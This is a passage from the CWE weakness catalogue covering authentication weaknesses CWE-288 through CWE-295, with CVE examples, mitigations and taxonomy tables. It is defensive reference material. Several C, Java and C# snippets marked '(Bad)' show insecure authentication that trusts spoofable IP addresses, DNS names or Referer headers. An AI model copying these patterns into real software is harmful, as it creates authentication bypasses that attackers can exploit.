<b>CVE-2009-3231</b>	use of LDAP authentication with anonymous binds causes empty password to result in successful authentication <a href="https://www.cve.org/CVERecord?id=CVE-2009-3231">https://www.cve.org/CVERecord?id=CVE-2009-3231</a>
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3435">https://www.cve.org/CVERecord?id=CVE-2005-3435</a>
<b>CVE-2005-0408</b>	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0408">https://www.cve.org/CVERecord?id=CVE-2005-0408</a>

### Functional Areas

- Authentication

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.



Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	629	2126
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	2150
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	2187
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

## Notes

### Relationship

This can be resultant from SQL injection vulnerabilities and other issues.

### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Error
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	1		Insufficient Authentication
ISA/IEC 62443	Part 3-3		Req SR 1.1
ISA/IEC 62443	Part 3-3		Req SR 1.2
ISA/IEC 62443	Part 4-2		Req CR 1.1
ISA/IEC 62443	Part 4-2		Req CR 1.2

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
22	Exploiting Trust in Client

CAPEC-ID	Attack Pattern Name
57	Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
94	Adversary in the Middle (AiTM)
114	Authentication Abuse
115	Authentication Bypass
151	Identity Spoofing
194	Fake the Source of Data
593	Session Hijacking
633	Token Impersonation
650	Upload a Web Shell to a Web Server

## References

[REF-236]Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009 January 9. < <http://www.wired.com/threatlevel/2009/01/professed-twit/> >.

[REF-237]OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A7](http://www.owasp.org/index.php/Top_10_2007-A7) >.

[REF-238]OWASP. "Guide to Authentication". < [http://www.owasp.org/index.php/Guide\\_to\\_Authentication](http://www.owasp.org/index.php/Guide_to_Authentication) >.

[REF-239]Microsoft. "Authentication". < [http://msdn.microsoft.com/en-us/library/aa374735\(VS.85\).aspx](http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx) >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-288: Authentication Bypass Using an Alternate Path or Channel

**Weakness ID** : 288

**Structure** : Simple

**Abstraction** : Base





### Description

A product requires authentication, but the product has an alternate path or channel that does not require authentication.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		306	Missing Authentication for Critical Function	703
ParentOf		425	Direct Request ('Forced Browsing')	969
ParentOf		1299	Missing Protection Mechanism for Alternate Hardware Interface	1993
PeerOf		420	Unprotected Alternate Channel	963

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2217

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2268
MemberOf	C	840	Business Logic Errors	2153

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

### Observed Examples

Reference	Description
<b>CVE-2000-1179</b>	Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1179">https://www.cve.org/CVERecord?id=CVE-2000-1179</a>
<b>CVE-1999-1454</b>	Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1454">https://www.cve.org/CVERecord?id=CVE-1999-1454</a>
<b>CVE-1999-1077</b>	OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1077">https://www.cve.org/CVERecord?id=CVE-1999-1077</a>
<b>CVE-2003-0304</b>	Direct request of installation file allows attacker to create administrator accounts. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0304">https://www.cve.org/CVERecord?id=CVE-2003-0304</a>
<b>CVE-2002-0870</b>	Attackers may gain additional privileges by directly requesting the web management URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0870">https://www.cve.org/CVERecord?id=CVE-2002-0870</a>
<b>CVE-2002-0066</b>	Bypass authentication via direct request to named pipe. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0066">https://www.cve.org/CVERecord?id=CVE-2002-0066</a>
<b>CVE-2003-1035</b>	User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1035">https://www.cve.org/CVERecord?id=CVE-2003-1035</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	629	2127
MemberOf		947	SFP Secondary Cluster: Authentication Bypass	888	2187
MemberOf		1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

## Notes

### Relationship

overlaps Unprotected Alternate Channel

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication Bypass by Alternate Path/Channel
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
127	Directory Indexing
665	Exploitation of Thunderbolt Protection Flaws

## CWE-289: Authentication Bypass by Alternate Name

**Weakness ID** : 289

**Structure** : Simple

**Abstraction** : Base

## Description

The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087
CanFollow		46	Path Equivalence: 'filename ' (Trailing Space)	93
CanFollow		52	Path Equivalence: '/multiple/trailing/slash/'	99
CanFollow		173	Improper Handling of Alternate Encoding	417
CanFollow		178	Improper Handling of Case Sensitivity	427

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2003-0317</b>	Protection mechanism that restricts URL access can be bypassed using URL encoding. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0317">https://www.cve.org/CVERecord?id=CVE-2003-0317</a>
<b>CVE-2004-0847</b>	Bypass of authentication for files using "\" (backslash) or "%5C" (encoded backslash). <a href="https://www.cve.org/CVERecord?id=CVE-2004-0847">https://www.cve.org/CVERecord?id=CVE-2004-0847</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	<input checked="" type="checkbox"/>	844 2155
MemberOf		947	SFP Secondary Cluster: Authentication Bypass	<input type="checkbox"/>	888 2187

Nature	Type	ID	Name	V	Page
MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	2237

## Notes

### Relationship

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

### Theoretical

Alternate names are useful in data driven manipulation attacks, not just for authentication.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by alternate name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS01-J	CWE More Specific	Normalize strings before validating them
SEI CERT Oracle Coding Standard for Java	IDS01-J	CWE More Specific	Normalize strings before validating them

## CWE-290: Authentication Bypass by Spoofing

**Weakness ID** : 290

**Structure** : Simple

**Abstraction** : Base

### Description

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	1390	Weak Authentication	2087
ParentOf	V	291	Reliance on IP Address for Authentication	671
ParentOf	V	293	Using Referer Field for Authentication	673
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	817
PeerOf	G	602	Client-Side Enforcement of Server-Side Security	1271

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf	G	287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<span style="color: red;">C</span>	1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<span style="color: red;">C</span>	1211	Authentication Errors	2268

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.</i>	

### Demonstrative Examples

#### Example 1:

The following code authenticates users.

*Example Language: Java*

*(Bad)*

```
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

#### Example 2:

Both of these examples check if a request is from a trusted address before responding to the request.

*Example Language: C*

*(Bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clien);
    }
}
```

*Example Language: Java*

*(Bad)*

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}
```



The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

### Example 3:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C

(Bad)

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Example Language: Java

(Bad)

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C#

(Bad)

```
IPAddress hostIPAddress = IPAddress.Parse(RemotepAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

### Observed Examples

Reference	Description
<b>CVE-2009-1048</b>	VOIP product allows authentication bypass using 127.0.0.1 in the Host header. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1048">https://www.cve.org/CVERecord?id=CVE-2009-1048</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	2191
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

## Notes

### Relationship

This can be resultant from insufficient verification.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by spoofing

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
22	Exploiting Trust in Client
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
94	Adversary in the Middle (AiTM)
459	Creating a Rogue Certification Authority Certificate
461	Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
473	Signature Spoof
476	Signature Spoofing by Misrepresentation
667	Bluetooth Impersonation AttackS (BIAS)

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-291: Reliance on IP Address for Authentication

**Weakness ID** : 291

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses an IP address for authentication.

### Extended Description

IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	471	Modification of Assumed-Immutable Data (MAID)	1060

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1700
ChildOf		290	Authentication Bypass by Spoofing	668

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

## Weakness Ordinalities

**Resultant :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Hide Activities	
Non-Repudiation	Gain Privileges or Assume Identity	
<i>Malicious users can fake authentication information, impersonating any IP address.</i>		

## Potential Mitigations

### Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

## Demonstrative Examples

### Example 1:

Both of these examples check if a request is from a trusted address before responding to the request.

*Example Language: C*

*(Bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clien = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

*Example Language: Java*

*(Bad)*

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
```

```

out = secret.getBytes();
DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
}
}

```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Trusting self-reported IP address

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
4	Using Alternative IP Address Encodings

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-293: Using Referer Field for Authentication

**Weakness ID** : 293

**Structure** : Simple

**Abstraction** : Variant


### Description

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		290	Authentication Bypass by Spoofing	668

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

### Alternate Terms

**referrer** : While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

### Demonstrative Examples

#### Example 1:

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

Example Language: C++

(Bad)

```
String trustedReferer = "http://www.example.com/"
while(true){
    n = read(newsock, buffer, BUFSIZE);
    requestPacket = processPacket(buffer, n);
    if (requestPacket.referer == trustedReferer){
        openNewSecureSession(requestPacket);
    }
}
```

Example Language: Java

(Bad)

```
boolean processConnectionRequest(HttpServletRequest request){
    String referer = request.getHeader("referer")
    String trustedReferer = "http://www.example.com/"
    if(referer.equals(trustedReferer)){
        openPrivilegedConnection(request);
        return true;
    }
    else{
        sendPrivilegeError(request);
        return false;
    }
}
```

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2188

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using referrer field for authentication
Software Fault Patterns	SFP29		Faulty endpoint authentication

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-294: Authentication Bypass by Capture-replay

**Weakness ID** : 294  
**Structure** : Simple  
**Abstraction** : Base

### Description

A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

### Extended Description

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

### Phase: Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

## Observed Examples

Reference	Description
<b>CVE-2005-3435</b>	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3435">https://www.cve.org/CVERecord?id=CVE-2005-3435</a>
<b>CVE-2007-4961</b>	Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294). <a href="https://www.cve.org/CVERecord?id=CVE-2007-4961">https://www.cve.org/CVERecord?id=CVE-2007-4961</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	2191
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by replay
CLASP			Capture-replay

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
60	Reusing Session IDs (aka Session Replay)
94	Adversary in the Middle (AiTM)
102	Session Sidejacking
509	Kerberoasting
555	Remote Services with Stolen Credentials
561	Windows Admin Shares with Stolen Credentials
644	Use of Captured Hashes (Pass The Hash)
645	Use of Captured Tickets (Pass The Ticket)
652	Use of Known Kerberos Credentials
701	Browser in the Middle (BiTM)



## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-295: Improper Certificate Validation

**Weakness ID** : 295  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not validate, or incorrectly validates, a certificate.









### Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The product might connect to a malicious host while believing it is a trusted host, or the product might be deceived into accepting spoofed data that appears to originate from a trusted host.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657
ParentOf		296	Improper Following of a Certificate's Chain of Trust	682
ParentOf		297	Improper Validation of Certificate with Host Mismatch	684
ParentOf		298	Improper Validation of Certificate Expiration	688
ParentOf		299	Improper Check for Certificate Revocation	690
ParentOf		599	Missing Validation of OpenSSL Certificate	1263
PeerOf		322	Key Exchange without Entity Authentication	749
PeerOf		322	Key Exchange without Entity Authentication	749


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1014	Identify Actors	2222

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (Prevalence = Undetermined)

**Technology** : Mobile (Prevalence = Undetermined)

### Background Details

A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Bypass Protection Mechanism	
Authentication	Gain Privileges or Assume Identity	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner

*Effectiveness = SOAR Partial*

